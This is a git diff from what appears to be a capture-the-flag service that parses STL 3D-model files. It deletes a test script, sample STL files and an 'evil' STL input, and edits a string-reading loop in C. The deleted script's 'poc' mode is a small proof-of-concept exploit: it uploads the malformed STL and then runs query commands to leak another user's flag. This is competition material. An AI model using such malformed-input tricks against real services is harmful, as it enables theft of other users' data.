diff options
Diffstat (limited to 'service/src')
| -rw-r--r-- | service/src/test.sh | 119 | ||||
| -rw-r--r-- | service/src/tests/evil1.stl | 9 | ||||
| -rw-r--r-- | service/src/tests/flag1.stl | 16 | ||||
| -rw-r--r-- | service/src/tests/sample-ascii.stl | 16 | ||||
| -rw-r--r-- | service/src/tests/sample-binary.stl | bin | 134 -> 0 bytes | |||
| -rw-r--r-- | service/src/util.c | 3 |
6 files changed, 1 insertions, 162 deletions
diff --git a/service/src/test.sh b/service/src/test.sh deleted file mode 100644 index 69e3ea1..0000000 --- a/service/src/test.sh +++ /dev/null @@ -1,119 +0,0 @@ -#!/bin/sh - -set -e - -# RUNTYPE=1 - -SCRIPTPATH="$(dirname $(readlink -f "$0"))" -cd "$SCRIPTPATH" - -export RESULTDIR="../data/scans" -export ECHO_INPUT=1 - -announce() { - count=$(echo "$1" | wc -c) - python3 -c " -import math -s = '$1' -c = 80 -print() -print('#'*c) -print('#' + ' '*math.floor((c - len(s))/2-1) + s + ' '*math.ceil((c - len(s))/2-1) + '#') -print('#'*c) -print() - " -} - -checkleaks() { - valgrind --leak-check=full ./stldoctor 2>&1 | tee /tmp/testlog - if [ -z "$(grep "no leaks are possible" /tmp/testlog)" ]; then - echo "Valgrind exited with errors!" - exit 1 - fi -} - -connect() { - if [ "$RUNTYPE" == "remote" ]; then - nc localhost 9000 - elif [ "$RUNTYPE" == "debug" ]; then - checkleaks - else - ./stldoctor - fi -} - -if [ "$1" == "stl" ]; then - - announce "Testing ASCII STL Parsing" - ( - echo "echo" - echo "submit" - cat tests/sample-ascii.stl | wc -c - cat tests/sample-ascii.stl - echo "ASCII-testname" - ) | checkleaks - - announce "Testing BIN STL Parsing" - ( - echo "echo" - echo "submit" - cat tests/sample-binary.stl | wc -c - cat tests/sample-binary.stl - echo "BIN-testname" - ) | checkleaks - -elif [ "$1" == "poc" ]; then - - announce "Testing Proof-Of-Concept" - - [ ! -z "$RESULTDIR" ] && rm -rf "$RESULTDIR"/* - - echo -e "\n--- Uploading target STL ---\n" 1>&2 - ( - echo "echo" - echo "submit" - cat tests/flag1.stl | wc -c - cat tests/flag1.stl - echo "N0TaFL4G" - echo "exit" - ) | connect - - echo -e "\n--- Uploading evil STL ---\n" 1>&2 - ( - echo "echo" - echo "submit" - cat tests/evil1.stl | wc -c - cat tests/evil1.stl - echo "EV1L" - echo "exit" - ) | connect - - echo -e "\n--- Testing Exploit ---\n" 1>&2 - ( - echo "echo" - - # try index 0 - echo "query" - echo "EV1L" - echo "0" - echo "n" - - echo "query last" - echo "0" - echo "n" - - # try index 1 - echo "query" - echo -e "EV1L" - echo "0" - echo "n" - - echo "query last" - echo "1" - echo "n" - echo "exit" - ) | connect - -else - connect -fi diff --git a/service/src/tests/evil1.stl b/service/src/tests/evil1.stl deleted file mode 100644 index 706e9e2..0000000 --- a/service/src/tests/evil1.stl +++ /dev/null @@ -1,9 +0,0 @@ -solid test˙ -facet normal 0 0 1.0 - outer loop - vertex 1 0 0 - vertex 1 1 0 - vertex 0 1 0 - endloop - endfacet -endsolid diff --git a/service/src/tests/flag1.stl b/service/src/tests/flag1.stl deleted file mode 100644 index f2a3854..0000000 --- a/service/src/tests/flag1.stl +++ /dev/null @@ -1,16 +0,0 @@ -solid ENO{TESTFLAG} - facet normal 1.0 0 0 - outer loop - vertex 0 1 0 - vertex 0 1 1 - vertex 0 0 1 - endloop - endfacet - facet normal 0 0 1.0 - outer loop - vertex 1 0 0 - vertex 1 1 0 - vertex 0 1 0 - endloop - endfacet -endsolid diff --git a/service/src/tests/sample-ascii.stl b/service/src/tests/sample-ascii.stl deleted file mode 100644 index e3c89ef..0000000 --- a/service/src/tests/sample-ascii.stl +++ /dev/null @@ -1,16 +0,0 @@ -solid test - facet normal 1.0 0 0 - outer loop - vertex 0 1 0 - vertex 0 1 1 - vertex 0 0 1 - endloop - endfacet - facet normal 0 0 1.0 - outer loop - vertex 1 0 0 - vertex 1 1 0 - vertex 0 1 0 - endloop - endfacet -endsolid test diff --git a/service/src/tests/sample-binary.stl b/service/src/tests/sample-binary.stl Binary files differdeleted file mode 100644 index 13c02e4..0000000 --- a/service/src/tests/sample-binary.stl +++ /dev/null diff --git a/service/src/util.c b/service/src/util.c index c53f92b..bf6e872 100644 --- a/service/src/util.c +++ b/service/src/util.c @@ -75,10 +75,9 @@ void freadstr(FILE *f, char **dst) { size_t start, len; - char c; start = ftell(f); - for (len = 0; (c = fgetc(f)) != EOF && c; len++); + for (len = 0; fgetc(f) > 0; len++); fseek(f, start, SEEK_SET); *dst = checkp(calloc(1, len + 1)); |
